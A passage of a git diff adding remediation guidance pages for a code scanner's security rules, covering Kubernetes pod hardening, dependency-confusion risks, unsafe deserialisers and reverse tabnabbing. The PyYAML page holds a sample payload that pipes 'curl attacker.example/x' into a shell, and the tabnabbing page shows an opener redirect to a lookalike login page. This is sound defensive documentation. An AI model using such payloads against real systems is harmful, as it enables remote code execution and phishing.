+spec: + selector: + app: demo + ports: + - port: 443 + targetPort: 8443 +``` + +Some node-level agents, such as monitoring and CNI components, do legitimately need these. Restrict +them to trusted DaemonSets and schedule them onto a dedicated node pool, so a compromise of one does +not sit alongside application workloads. + +## Severity Considerations + +`hostPID` is the most immediately exploitable of the three, because reading other workloads' +command lines requires no additional privilege. Raise the severity on any shared or multi-tenant +cluster. + +## References + +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Kubernetes: Share namespaces between containers in a Pod](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS200003.md b/guidance/DS200003.md new file mode 100644 index 00000000..d496ea7b --- /dev/null +++ b/guidance/DS200003.md @@ -0,0 +1,64 @@ +# Kubernetes Container Root Filesystem Is Writable + +## Summary + +* A container sets `readOnlyRootFilesystem: false`. +* Set it to `true` and mount writable volumes only where they are needed. + +## Details + +With a writable root filesystem, an attacker who achieves code execution in the container can modify +the running image. That converts a transient foothold into a more durable and more capable one: + +* replacing or shadowing a binary on `PATH`, so the next invocation runs attacker code, +* writing a payload to disk and executing it, which many post-exploitation tools require, +* editing configuration the application reads at runtime, such as trust stores or endpoint lists, +* dropping files to stage data before exfiltration. + +A read-only root filesystem does not prevent code execution, but it removes the write primitive that +most tooling assumes, and it makes the container's contents match the image that was scanned and +signed. It also surfaces accidental state: an application that writes to its own image directory is +usually doing something that will not survive a restart anyway. + +## Solution + +Set the flag and provide explicit writable mounts: + +``` yaml +containers: + - name: app + image: contoso/app@sha256:0123456789abcdef + securityContext: + readOnlyRootFilesystem: true + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 + volumeMounts: + - name: tmp + mountPath: /tmp + - name: cache + mountPath: /var/cache/app +volumes: + - name: tmp + emptyDir: {} + - name: cache + emptyDir: {} +``` + +Most workloads need only `/tmp`. If the application writes elsewhere, prefer changing it to write +under a mounted path rather than relaxing the filesystem. + +Note that `emptyDir` is still writable and still shares the node's disk. Set `sizeLimit` if the +volume holds anything unbounded, such as logs. + +## Severity Considerations + +Reported at moderate because it is a hardening control rather than a vulnerability on its own. Raise +it for internet-facing workloads and for any container that processes untrusted input, where the +chance of reaching code execution is higher. + +## References + +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [Azure Policy for AKS built-in definitions](https://learn.microsoft.com/azure/aks/policy-reference) diff --git a/guidance/DS200004.md b/guidance/DS200004.md new file mode 100644 index 00000000..590d6384 --- /dev/null +++ b/guidance/DS200004.md @@ -0,0 +1,58 @@ +# Kubernetes Container May Run as Root + +## Summary + +* A container or pod sets `runAsNonRoot: false`. +* Set `runAsNonRoot: true` and give `runAsUser` a high, non-zero uid such as 10001. + +## Details + +`runAsNonRoot: false` allows the container to run as uid 0. Root inside a container is not root on +the node, but it is considerably more dangerous than an unprivileged uid: + +* **Container escapes usually require it.** Most known escape techniques, and most abuse of an + added capability, assume uid 0 inside the container. Running unprivileged removes a precondition. +* **Mounted host content becomes writable.** If any `hostPath`, or a volume shared with another + pod, contains root-owned files, a root container can modify them. A non-zero uid is stopped by + ordinary file permissions. +* **Secrets and volumes are readable regardless of mode.** Root ignores the file mode on projected + secret volumes. + +Setting `runAsNonRoot: true` also fails the pod at admission time if the image's default user is +root, which surfaces the problem at deploy rather than leaving it to be discovered later. + +## Solution + +Set both fields, so that the uid does not depend on the image's default: + +``` yaml +securityContext: + runAsNonRoot: true + runAsUser: 10001 + runAsGroup: 10001 + fsGroup: 10001 + allowPrivilegeEscalation: false +``` + +Make the image match, so the container does not depend on the manifest alone: + +``` dockerfile +RUN adduser --system --uid 10001 --group app +USER 10001 +``` + +`fsGroup` sets group ownership on mounted volumes, which is how a non-root container gets write +access to a PersistentVolume without needing root. + +For a workload that must bind a port below 1024, add `NET_BIND_SERVICE` rather than running as root, +or listen on a high port and map it in the Service. + +## Severity Considerations + +Raise the severity when the pod also mounts a hostPath, shares a volume with another workload, or +adds any capability, since running as root makes each of those materially worse. + +## References + +* [Kubernetes: Configure a Security Context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) diff --git a/guidance/DS200005.md b/guidance/DS200005.md new file mode 100644 index 00000000..6017f65b --- /dev/null +++ b/guidance/DS200005.md @@ -0,0 +1,61 @@ +# Kubernetes Container Image Is Unpinned + +## Summary + +* A container image is tagged `latest`, or carries no tag at all. +* Pin the image by digest, for example `image: contoso/app@sha256:...`. + +## Details + +Tags are mutable references. `contoso/app:latest` and `contoso/app` (which means `:latest`) name +whatever the registry currently points that tag at, so the bytes that run are decided at pull time +rather than at review time. Two consequences follow. + +**Verification does not carry over.** An image that was scanned, signed and approved was a specific +digest. If the tag is later repointed, the running workload is no longer the artifact that was +verified, and nothing in the manifest records that. Signature verification of a mutable tag proves +only that some version was signed at some point. + +**A registry compromise becomes a deployment.** An attacker who can push to the registry, or who +takes over an abandoned namespace on a public one, can repoint the tag. Every pod that restarts or +scales up then pulls their image. No change to your cluster or your manifests is required. + +There is an operational cost too: nodes that pulled at different times run different code, which +makes an incident hard to reason about, and rollback does not reliably return you to what was +running before. + +## Solution + +Reference the digest: + +``` yaml +containers: + - name: app + image: contoso.azurecr.io/app@sha256:9f2c1e0a1b8e4d3c5f6a7b8c9d0e1f2a3b4c5d6e7f8091a2b3c4d5e6f7081920 + imagePullPolicy: IfNotPresent +``` + +Let the deployment pipeline substitute the digest it just built and verified, so the manifest in +source control always names the artifact that was tested. + +Combine this with signature verification at admission, so that an unsigned or unexpected digest is +rejected by the cluster rather than by convention: + +``` yaml +imagePullPolicy: IfNotPresent +``` + +`imagePullPolicy: Always` is not a substitute. It makes the drift happen sooner rather than +preventing it. + +## Severity Considerations + +Raise the severity for images from public registries, which are the most exposed to tag +repointing and namespace takeover. An image pulled by digest from a private registry with immutable +tags enabled is the intended end state. + +## References + +* [Kubernetes: Images](https://kubernetes.io/docs/concepts/containers/images/) +* [OCI: image manifest and digests](https://github.com/opencontainers/image-spec/blob/main/descriptor.md) +* [Azure Container Registry: image tag best practices](https://learn.microsoft.com/azure/container-registry/container-registry-image-tag-version) diff --git a/guidance/DS200006.md b/guidance/DS200006.md new file mode 100644 index 00000000..3b82cc64 --- /dev/null +++ b/guidance/DS200006.md @@ -0,0 +1,69 @@ +# Kubernetes Container Adds a Dangerous Capability + +## Summary + +* A container adds `SYS_ADMIN`, `SYS_PTRACE`, `SYS_MODULE`, `NET_RAW`, or `ALL` to its capability + set. +* Drop `ALL` and add back only the minimum the workload needs. + +## Details + +Linux capabilities split root's powers into separate privileges, but they are not equally sized. The +ones reported here each approach full privilege on their own: + +* **`SYS_ADMIN`** is frequently described as the new root. It permits `mount`, cgroup manipulation, + and namespace operations, and is the capability most container escapes are built on. Adding it is + close to `privileged: true` in effect. +* **`SYS_MODULE`** loads kernel modules. A module runs in kernel context on the node, so this is a + complete escape by design rather than by exploit. +* **`SYS_PTRACE`** attaches to other processes and reads their memory. Combined with `hostPID` it + reaches processes belonging to other pods and to the node. +* **`NET_RAW`** creates raw sockets, which allows ARP and DNS spoofing against other pods on the + same node and lets a compromised container intercept traffic it should not see. It is granted by + default by many runtimes, which is one reason to drop `ALL` explicitly. +* **`ALL`** grants every capability, including the four above. + +The Restricted Pod Security Standard requires dropping `ALL` and permits adding back only +`NET_BIND_SERVICE`. + +## Solution + +Start from nothing and add only what is required: + +``` yaml +securityContext: + capabilities: + drop: + - ALL + add: + - NET_BIND_SERVICE + allowPrivilegeEscalation: false + runAsNonRoot: true + runAsUser: 10001 +``` + +Most workloads need no capabilities at all: + +``` yaml +securityContext: + capabilities: + drop: + - ALL +``` + +If a debugging workflow needs `SYS_PTRACE`, use an ephemeral debug container scoped to a single +troubleshooting session rather than adding the capability to the deployed workload. If a workload +appears to need `SYS_ADMIN`, the requirement is usually a specific mount or device, which is better +solved with a volume or a device plugin. + +## Severity Considerations + +`SYS_ADMIN` and `SYS_MODULE` warrant treating the finding as equivalent to a privileged container. +`NET_RAW` is lower on a single-tenant cluster but significant where pods of differing trust share a +node. + +## References + +* [Linux: `capabilities(7)`](https://man7.org/linux/man-pages/man7/capabilities.7.html) +* [Kubernetes: Set capabilities for a container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) diff --git a/guidance/DS200007.md b/guidance/DS200007.md new file mode 100644 index 00000000..385a2f31 --- /dev/null +++ b/guidance/DS200007.md @@ -0,0 +1,83 @@ +# Kubernetes Pod Mounts a Host Path + +## Summary + +* The pod declares a `hostPath` volume. +* Prefer a `ConfigMap`, `Secret`, `emptyDir` or `PersistentVolumeClaim`. Where a host path is + genuinely required, restrict which paths are allowed by policy. + +## Details + +A `hostPath` volume mounts a file or directory from the node's filesystem directly into the pod, +which crosses the isolation boundary that the rest of the pod's security context maintains. What it +grants depends entirely on the path: + +* **Writable system paths** such as `/usr/bin`, `/etc` or `/var/lib/kubelet` let a container modify + the node. Writing a binary that another workload or the node itself executes is a straightforward + escalation, and the change persists after the pod is gone. +* **The container runtime socket**, `/var/run/docker.sock` or `/run/containerd/containerd.sock`, is + equivalent to root on the node. A container holding it can start another container with any + configuration, including a privileged one that mounts the host root. +* **Read-only sensitive paths** still disclose data: `/etc/shadow`, cloud provider credential files, + and kubelet configuration containing certificates. +* **`/proc` and `/sys`** expose kernel and process state from the node. + +This is reported for manual review rather than as a defect, because a hostPath is legitimate for +node-level agents. The question is whether this workload is one, and whether the specific path is +the narrowest that works. + +## Solution + +For configuration and credentials, use the Kubernetes abstractions: + +``` yaml +volumes: + - name: config + configMap: + name: app-config + - name: credentials + secret: + secretName: app-credentials +``` + +For scratch space, use an `emptyDir`, which is per-pod and removed with the pod: + +``` yaml +volumes: + - name: tmp + emptyDir: + sizeLimit: 256Mi +``` + +For durable storage, use a `PersistentVolumeClaim` so the storage layer, not the node's filesystem, +provides isolation. + +Where a host path is unavoidable, make it as narrow and as read-only as possible, and constrain it +with an allowed-paths policy so that a future manifest cannot widen it: + +``` yaml +volumes: + - name: varlog + hostPath: + path: /var/log/containers + type: Directory +volumeMounts: + - name: varlog + mountPath: /var/log/containers + readOnly: true +``` + +Never mount the container runtime socket into a workload. If a component needs to inspect +containers, use the Kubernetes API with a scoped ServiceAccount. + +## Severity Considerations + +Raise the severity sharply for a runtime socket, for any path under `/etc`, `/usr` or +`/var/lib/kubelet`, and for any host mount that is not `readOnly`. A read-only mount of a narrow log +directory by a monitoring DaemonSet is the intended use. + +## References + +* [Kubernetes: `hostPath` volumes](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath) +* [Kubernetes: Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) +* [CIS Kubernetes Benchmark on AKS](https://learn.microsoft.com/azure/aks/cis-kubernetes) diff --git a/guidance/DS205000.md b/guidance/DS205000.md new file mode 100644 index 00000000..9fd139e5 --- /dev/null +++ b/guidance/DS205000.md @@ -0,0 +1,70 @@ +# Package Source Is Not Restricted to an Approved Feed + +## Summary + +* A `` section declares sources without a `` element. +* Add `` as the first child so that only the sources in this file are used. + +## Details + +NuGet builds its source list by combining every `NuGet.config` it finds, walking from the drive root +down to the project directory and including the machine-level and user-level files. Without +``, the sources declared here are *added* to whatever those files contain rather than +replacing them. + +Two problems follow: + +* **The effective source list is not what the file says.** A build on a developer machine, a + self-hosted agent, and a hosted agent can each resolve packages from a different set of feeds. The + file that was reviewed does not describe what actually happens. +* **Package substitution becomes possible.** When a package name is available from more than one + source, NuGet may take the highest version rather than preferring the internal feed. An attacker + who publishes a package with an internal name and a higher version number on a public registry can + have it restored instead of the real one. This is the dependency confusion pattern, and having + more than one source configured is its precondition. + +ADM.10205 addresses both by requiring dependencies to come only from approved repositories, and by +recommending a single internal source, since package managers behave inconsistently and sometimes +non-deterministically when several are configured. + +## Solution + +Clear inherited sources, then declare exactly the feed you intend to use: + +``` xml + + + + + + + +``` + +Configure public packages as an **upstream source** on that Azure Artifacts feed rather than adding +nuget.org as a second source. Upstream sources save the first version of a package they see, so an +internal name cannot later be shadowed by a public package of the same name. + +Where more than one source genuinely cannot be avoided, add `` so each package +pattern resolves from exactly one source: + +``` xml + + + + + +``` + +## Severity Considerations + +Raise the severity when the project consumes internal packages, since those are the names a public +registry can be used to shadow. A repository that builds only against public packages is a lower +concern, though `` still makes the build reproducible. + +## References + +* [NuGet: `NuGet.config` reference](https://learn.microsoft.com/nuget/reference/nuget-config-file) +* [NuGet: Package source mapping](https://learn.microsoft.com/nuget/consume-packages/package-source-mapping) +* [Azure Artifacts: upstream sources](https://learn.microsoft.com/azure/devops/artifacts/concepts/upstream-sources) +* [Microsoft: 3 Ways to Mitigate Risk When Using Private Package Feeds](https://azure.microsoft.com/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) diff --git a/guidance/DS205001.md b/guidance/DS205001.md new file mode 100644 index 00000000..66f0106b --- /dev/null +++ b/guidance/DS205001.md @@ -0,0 +1,64 @@ +# Additional Package Index Configured + +## Summary + +* `--extra-index-url` or `PIP_EXTRA_INDEX_URL` was detected. +* ADM.10205 states these must not be used. Use a single `--index-url` and configure public packages + as an upstream on that feed. + +## Details + +pip does not rank indexes. Every index given with `--extra-index-url` is searched with the same +priority as the primary one, and pip installs the highest version it finds anywhere. + +That makes the flag a dependency confusion primitive. If your private index hosts +`contoso-internal 1.4.0`, an attacker who registers `contoso-internal` on PyPI and publishes version +`99.0.0` will have their package installed instead, on the next build, with no change to your +requirements file. The name only has to be guessable, and internal package names routinely appear in +error messages, documentation and job logs. + +The same reasoning applies to `PIP_EXTRA_INDEX_URL`, which sets the option through the environment +and so is easy to introduce in a pipeline definition or a container image without it appearing in +any requirements file. + +## Solution + +Point pip at one index: + +``` bash +pip install --index-url https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple contoso-lib +``` + +Or set it once, for the whole environment: + +``` bash +export PIP_INDEX_URL=https://pkgs.dev.azure.com/contoso/_packaging/feed/pypi/simple +``` + +Then add `https://pypi.org` as an **upstream source** on that Azure Artifacts feed. Upstream sources +save the first version of a name they serve, so a public package cannot later take over an internal +name. + +Where packages genuinely must come from separate private indexes and upstreams are not available, +run separate install commands, one per index, rather than making them all available to a single +resolution. + +Additional hardening worth applying at the same time: pin exact versions and record hashes, so a +substituted artifact fails to install: + +``` text +contoso-lib==1.4.0 \ + --hash=sha256:0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef +``` + +## Severity Considerations + +Raise the severity when the extra index is a public registry and the project also consumes internal +packages, which is the exploitable combination. Two internal indexes are less severe but still +produce non-deterministic upgrades. + +## References + +* [pip: `--extra-index-url`](https://pip.pypa.io/en/stable/cli/pip_install/#cmdoption-extra-index-url) +* [Azure Artifacts: upstream sources](https://learn.microsoft.com/azure/devops/artifacts/concepts/upstream-sources) +* [Microsoft: 3 Ways to Mitigate Risk When Using Private Package Feeds](https://azure.microsoft.com/resources/3-ways-to-mitigate-risk-using-private-package-feeds/) diff --git a/guidance/DS425050.md b/guidance/DS425050.md new file mode 100644 index 00000000..fcbbc58f --- /dev/null +++ b/guidance/DS425050.md @@ -0,0 +1,68 @@ +# Do not deserialize untrusted data (Python model and object loaders) + +## Summary + +* `torch.load`, `joblib.load`, `dill.load` or the `marshal` module was detected. +* All of these execute code contained in the file being loaded. Use a format that carries data only, + such as safetensors for model weights or JSON for configuration. + +## Details + +These loaders are not parsers. Each reconstructs live Python objects from the file, and object +reconstruction can invoke arbitrary code: + +* **`torch.load`** uses `pickle` internally. A crafted checkpoint runs code as soon as it is loaded, + before any inference happens. `weights_only=True` restricts this, and is the default from PyTorch + 2.6, but earlier versions and explicit `weights_only=False` remain exploitable. +* **`joblib.load`** is `pickle` with a compression layer, so it carries the same risk. +* **`dill.load`** extends `pickle` to serialize more object types, which widens the attack surface + rather than narrowing it. +* **`marshal`** is documented as not being intended for untrusted data. It has no version + compatibility guarantees and malformed input can crash the interpreter. + +This matters most for machine learning artifacts. Model files are routinely downloaded from public +sources such as GitHub or Hugging Face, are large and opaque, and are rarely reviewed. A checkpoint +is executable content that happens to be named like data. + +## Solution + +For model weights, prefer a format that cannot express code: + +``` python +from safetensors.torch import load_file + +state_dict = load_file("model.safetensors") +model.load_state_dict(state_dict) +``` + +Where `torch.load` cannot be avoided, restrict it to tensor data: + +``` python +state_dict = torch.load("model.pt", weights_only=True) +``` + +For configuration and interchange, use `json`, which produces only primitive types: + +``` python +import json + +with open("config.json", encoding="utf-8") as fp: + config = json.load(fp) +``` + +If a pickle-based format is unavoidable, ADM.10010 requires that you obtain security team approval, +inspect the file with `pickletools.dis()` before loading it, and load it only in a sandbox. + +## Severity Considerations + +Raise the severity when the file is downloaded at runtime, comes from a public model hub, or is +supplied by a user. Lower it when the artifact is produced by your own build, is stored with +integrity protection, and its provenance is verified before loading. + +## References + +* [Python: `pickle` — security warning](https://docs.python.org/3/library/pickle.html) +* [Python: `marshal`](https://docs.python.org/3/library/marshal.html) +* [PyTorch: `torch.load` and `weights_only`](https://pytorch.org/docs/stable/generated/torch.load.html) +* [Hugging Face: safetensors](https://huggingface.co/docs/safetensors/index) +* [OWASP: Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) diff --git a/guidance/DS425060.md b/guidance/DS425060.md new file mode 100644 index 00000000..72d53e34 --- /dev/null +++ b/guidance/DS425060.md @@ -0,0 +1,61 @@ +# Do not deserialize untrusted data (PyYAML `yaml.load`) + +## Summary + +* `yaml.load` or `yaml.load_all` was called without a safe loader. +* Use `yaml.safe_load`, or pass `Loader=yaml.SafeLoader` explicitly. + +## Details + +YAML is not only a data format. The default PyYAML loader implements tags that construct arbitrary +Python objects, including `!!python/object/apply`, which calls a named callable with attacker-chosen +arguments. A document such as the following runs a command when loaded: + +``` yaml +!!python/object/apply:os.system ["curl attacker.example/x | sh"] +``` + +No unusual configuration is required for this to work; it is the behaviour of the default loader. + +The dangerous form is easy to reach by accident because `yaml.load(stream)` reads naturally and, in +PyYAML before 5.1, took no loader argument at all. Newer versions emit a warning, but the call still +succeeds, and warnings are easy to miss in a service log. + +`SafeLoader` supports only standard YAML types: mappings, sequences, strings, numbers, booleans and +null. That is sufficient for configuration files, manifests and API payloads. + +## Solution + +Prefer the safe helper: + +``` python +import yaml + +with open("config.yml", encoding="utf-8") as fp: + config = yaml.safe_load(fp) +``` + +If `yaml.load` is required for another reason, name the loader: + +``` python +config = yaml.load(stream, Loader=yaml.SafeLoader) +``` + +`yaml.CSafeLoader` is the libyaml-backed equivalent and is also safe. Use `yaml.safe_load_all` for +multi-document streams. + +Do not rely on validating the parsed result afterwards. Code in the document runs during parsing, so +by the time you inspect the output it is already too late. + +## Severity Considerations + +Raise the severity when the document comes from a network request, an upload, or a repository that +contributors outside your trust boundary can write to. A YAML file that is part of the application's +own source tree and is not writable at runtime is a lower concern, though using the safe loader +costs nothing. + +## References + +* [PyYAML: `yaml.safe_load`](https://pyyaml.org/wiki/PyYAMLDocumentation) +* [PyYAML 5.1 loader changes](https://github.com/yaml/pyyaml/blob/master/CHANGES) +* [OWASP: Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) diff --git a/guidance/DS425070.md b/guidance/DS425070.md new file mode 100644 index 00000000..4f8faf4a --- /dev/null +++ b/guidance/DS425070.md @@ -0,0 +1,64 @@ +# Do not deserialize untrusted data (.NET binary formatters) + +## Summary + +* `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer`, `LosFormatter` or + `ObjectStateFormatter` was detected. +* None of these can be used safely with untrusted input. Use `System.Text.Json` or another approved + serializer. + +## Details + +These serializers write type names into the payload and instantiate whatever the payload names when +reading it back. The set of constructible types is therefore chosen by whoever controls the input, +not by the application. + +That is sufficient for remote code execution. Public gadget chains exist for types present in the +framework and in widely used libraries, so an attacker does not need any type from your codebase. The +payload is processed during deserialization, which means the attack completes before your code +inspects the result and before any validation you perform on the returned object. + +`BinaryFormatter` is obsolete: it produces a compile-time error by default from .NET 7, and the +implementation was removed from .NET 9. `NetDataContractSerializer` and `SoapFormatter` share the +design and the risk. `LosFormatter` and `ObjectStateFormatter` are the ASP.NET view state +serializers and are exploitable whenever view state integrity is not enforced. + +ADM.10010 approves only `System.Text.Json`, `XmlSerializer`, `DataContractSerializer`, +`DataContractJsonSerializer`, `Newtonsoft.Json` and Protocol Buffers. Everything built in and not on +that list should be treated as unsafe for untrusted data. + +## Solution + +Use `System.Text.Json`, which binds to a type you specify and constructs nothing else: + +``` csharp +Order? order = JsonSerializer.Deserialize(json); +``` + +Where an existing object graph must be preserved, `DataContractSerializer` is approved and requires +the expected type up front: + +``` csharp +var serializer = new DataContractSerializer(typeof(Order)); +var order = (Order?)serializer.ReadObject(stream); +``` + +If you use `Newtonsoft.Json`, leave `TypeNameHandling` at `None`, or supply a custom +`ISerializationBinder` that allows only an explicit list of types. + +A `SerializationBinder` on `BinaryFormatter` is not an adequate mitigation. Microsoft's guidance is +to stop using the type, not to constrain it, because the deserialization process itself is the +attack surface. + +## Severity Considerations + +This is reported as critical because a single reachable call with attacker-controlled input is +typically sufficient for code execution, with no further conditions. It remains critical even when +the payload appears to come from an internal source, since internal callers are a common pivot. + +## References + +* [.NET: BinaryFormatter security guide](https://learn.microsoft.com/dotnet/standard/serialization/binaryformatter-security-guide) +* [.NET: BinaryFormatter obsoletion](https://learn.microsoft.com/dotnet/fundamentals/syslib-diagnostics/syslib0011) +* [.NET: `System.Text.Json` overview](https://learn.microsoft.com/dotnet/standard/serialization/system-text-json/overview) +* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) diff --git a/guidance/DS425080.md b/guidance/DS425080.md new file mode 100644 index 00000000..d7208ba1 --- /dev/null +++ b/guidance/DS425080.md @@ -0,0 +1,64 @@ +# Do not deserialize untrusted data (`JavaScriptSerializer`) + +## Summary + +* `JavaScriptSerializer` or `SimpleTypeResolver` was detected. +* `JavaScriptSerializer` stopped being an approved safe deserializer on 2023-03-10. Use + `System.Text.Json`. + +## Details + +`JavaScriptSerializer` accepts an optional `JavaScriptTypeResolver`. When one is supplied, the +serializer honours a `__type` property in the JSON payload and constructs the type it names. With +`SimpleTypeResolver`, which resolves any type loadable in the current application domain, the +attacker chooses what gets constructed, and the usual gadget chains apply. This is the same class of +problem as `BinaryFormatter`, reached through a JSON payload. + +Without a type resolver the serializer binds to the target type and is far less dangerous, but it is +still no longer approved, for two additional reasons worth knowing: + +* It lives in `System.Web.Extensions`, which is .NET Framework only, so its use blocks a move to + modern .NET. +* Its recursion and length limits are configured through `MaxJsonLength` and `RecursionLimit` rather + than being safe by default, which makes denial of service through deeply nested input easy to + overlook. + +This rule reports both the type and the resolver so that the resolver is caught even where the +serializer is constructed elsewhere. + +## Solution + +Use `System.Text.Json`: + +``` csharp +Order? order = JsonSerializer.Deserialize(json); +``` + +If the code cannot be migrated yet, at minimum never construct the serializer with a type resolver, +and set explicit limits: + +``` csharp +var serializer = new JavaScriptSerializer +{ + MaxJsonLength = 1_000_000, + RecursionLimit = 32 +}; + +Order order = serializer.Deserialize(json); +``` + +Treat any occurrence of `SimpleTypeResolver` as unsafe regardless of context. There is no +configuration of it that restricts the types an attacker can name. + +## Severity Considerations + +Raise the severity to critical when a `JavaScriptTypeResolver` is supplied, since that is directly +exploitable. The finding remains important without a resolver because the type is deprecated and its +limits are not safe by default. + +## References + +* [.NET: `JavaScriptSerializer`](https://learn.microsoft.com/dotnet/api/system.web.script.serialization.javascriptserializer) +* [.NET: `SimpleTypeResolver`](https://learn.microsoft.com/dotnet/api/system.web.script.serialization.simpletyperesolver) +* [.NET: `System.Text.Json` overview](https://learn.microsoft.com/dotnet/standard/serialization/system-text-json/overview) +* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) diff --git a/guidance/DS425090.md b/guidance/DS425090.md new file mode 100644 index 00000000..868c54af --- /dev/null +++ b/guidance/DS425090.md @@ -0,0 +1,63 @@ +# Do not deserialize untrusted data (Boost Property Tree) + +## Summary + +* A Boost Property Tree reader (`read_json`, `read_xml`, or `boost::property_tree`) was detected. +* ADM.10010 approves Boost generally but singles out Property Tree as one to avoid. Prefer + nlohmann/json, or bound input size and nesting depth before parsing. + +## Details + +Boost Property Tree's JSON and XML readers descend recursively as they parse, with no limit on +nesting depth. A small input consisting only of opening brackets produces recursion proportional to +its length, which exhausts the stack and terminates the process. A few kilobytes are enough, so this +is a cheap denial of service against any endpoint that parses untrusted documents. + +Two further characteristics make it a poor fit for untrusted input: + +* **It is not a conforming JSON parser.** The documentation states that it is a property tree + serializer that happens to use JSON syntax. It does not preserve types, treating all scalars as + strings, and it silently discards duplicate keys rather than reporting them. Two parties reading + the same document can therefore disagree about its contents, which is a problem when one of them + is making a security decision. +* **XML reading inherits the underlying parser's entity handling**, so the external entity concerns + that apply to XML generally apply here too. + +This is reported for manual review rather than as a defect, because Property Tree is entirely +reasonable for a trusted local configuration file. + +## Solution + +For untrusted JSON, prefer a parser designed for it, with an explicit depth limit: + +``` cpp +#include + +auto parsed = nlohmann::json::parse(input, + /* callback */ nullptr, + /* allow_exceptions */ true); +``` + +Where Property Tree must be kept, reject oversized or deeply nested input before parsing rather than +during it, since the failure mode is a stack overflow that cannot be caught: + +``` cpp +if (input.size() > kMaxDocumentBytes || NestingDepth(input) > kMaxDepth) +{ + return Status::InvalidArgument(); +} +``` + +For XML, disable DTD and external entity resolution in whichever parser you adopt. + +## Severity Considerations + +Raise the severity when the document arrives from a network request or an upload, since that makes +the denial of service remotely reachable. Parsing a configuration file shipped with the application +is a low concern. + +## References + +* [Boost: Property Tree — "How to parse JSON"](https://www.boost.org/doc/libs/release/doc/html/property_tree/parsers.html) +* [nlohmann/json](https://github.com/nlohmann/json) +* [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html) diff --git a/guidance/DS610000.md b/guidance/DS610000.md index 870f0994..a5ca8695 100644 --- a/guidance/DS610000.md +++ b/guidance/DS610000.md @@ -1,7 +1,67 @@ -### HTML Link Missing noopener or noreferrer +# HTML Link Missing noopener or noreferrer -When an HTML anchor tag contains `target=_blank`, it should also contain `rel="noopener noreferrer"`. +## Summary -#### More Information +* An anchor uses `target="_blank"` without `rel="noopener noreferrer"`. +* Add the `rel` attribute. -* [https://mathiasbynens.github.io/rel-noopener](https://mathiasbynens.github.io/rel-noopener) +## Details + +When a link opens in a new tab, the newly opened page receives a `window.opener` reference back to +the page that opened it. That reference crosses origins, and although it does not allow reading the +original page, it does allow one thing that matters: navigation. + +The opened page can execute `window.opener.location = "https://contoso-login.example"` at any time, +including seconds later once the user has switched tabs. The original tab, which the user believes +is still your site, is silently replaced with a page under someone else's control. Users check the +tab they are on, not the tab they left, so a sign-in form served this way is convincing. This is +known as reverse tabnabbing. + +The risk is highest for links to sites you do not control: user-supplied URLs, partner links, +documentation, and anything rendered from user content. + +* **`noopener`** severs the `window.opener` reference. This is the part that fixes the vulnerability. +* **`noreferrer`** additionally suppresses the `Referer` header, so the destination does not learn + which page linked to it. It also implies `noopener` in browsers too old to support `noopener` + directly. + +Modern browsers apply `noopener` implicitly for `target="_blank"`, but stating it explicitly is +still worthwhile: it protects users on older browsers, it survives a change of `target` value, and +it makes the intent reviewable. + +## Solution + +``` html +Open +``` + +When building links in script, set the same property: + +``` javascript +const link = document.createElement("a"); +link.href = url; +link.target = "_blank"; +link.rel = "noopener noreferrer"; +``` + +If you open windows programmatically, pass the feature explicitly, since `window.open` does not +inherit the anchor behaviour: + +``` javascript +window.open(url, "_blank", "noopener,noreferrer"); +``` + +Where links come from user content, add the attribute during sanitisation rather than relying on the +author to include it. + +## Severity Considerations + +Raise the severity when the link target is user-supplied or otherwise outside your control, and when +your site has a sign-in flow that an attacker could plausibly imitate. Links between pages of your +own site are a low concern. + +## References + +* [OWASP: Reverse Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) +* [MDN: `rel="noopener"`](https://developer.mozilla.org/docs/Web/HTML/Attributes/rel/noopener) +* [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/) diff --git a/rules/default/security/TLS/tls_cobol.json b/rules/default/security/TLS/tls_cobol.json index 9c162cf4..9a30af91 100644 --- a/rules/default/security/TLS/tls_cobol.json +++ b/rules/default/security/TLS/tls_cobol.json @@ -25,6 +25,12 @@ ], "_comment": "https://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.gska100/sssl2env999503.htm" } + ], + "must-match": [ + " MOVE GSK_PROTOCOL_TLSV1 TO GSK-ATTR-ID." + ], + "must-not-match": [ + " MOVE GSK-PROTOCOL-TLSV13 TO GSK-ATTR-ID." ] } -] \ No newline at end of file +] diff --git a/rules/default/security/TLS/tls_generic.json b/rules/default/security/TLS/tls_generic.json index 2e10a29e..20c2f328 100644 --- a/rules/default/security/TLS/tls_generic.json +++ b/rules/default/security/TLS/tls_generic.json @@ -25,14 +25,15 @@ "scopes": [ "code" ], - "modifiers" : ["i"], + "modifiers": [ + "i" + ], "_comment": "Generic reference to a SSL/TLS version" } ], - "conditions" : [ + "conditions": [ { - "pattern" : - { + "pattern": { "pattern": "--tlsv1.3", "type": "string", "scopes": [ @@ -42,6 +43,13 @@ "negate_finding": true, "search_in": "same-line" } + ], + "must-match": 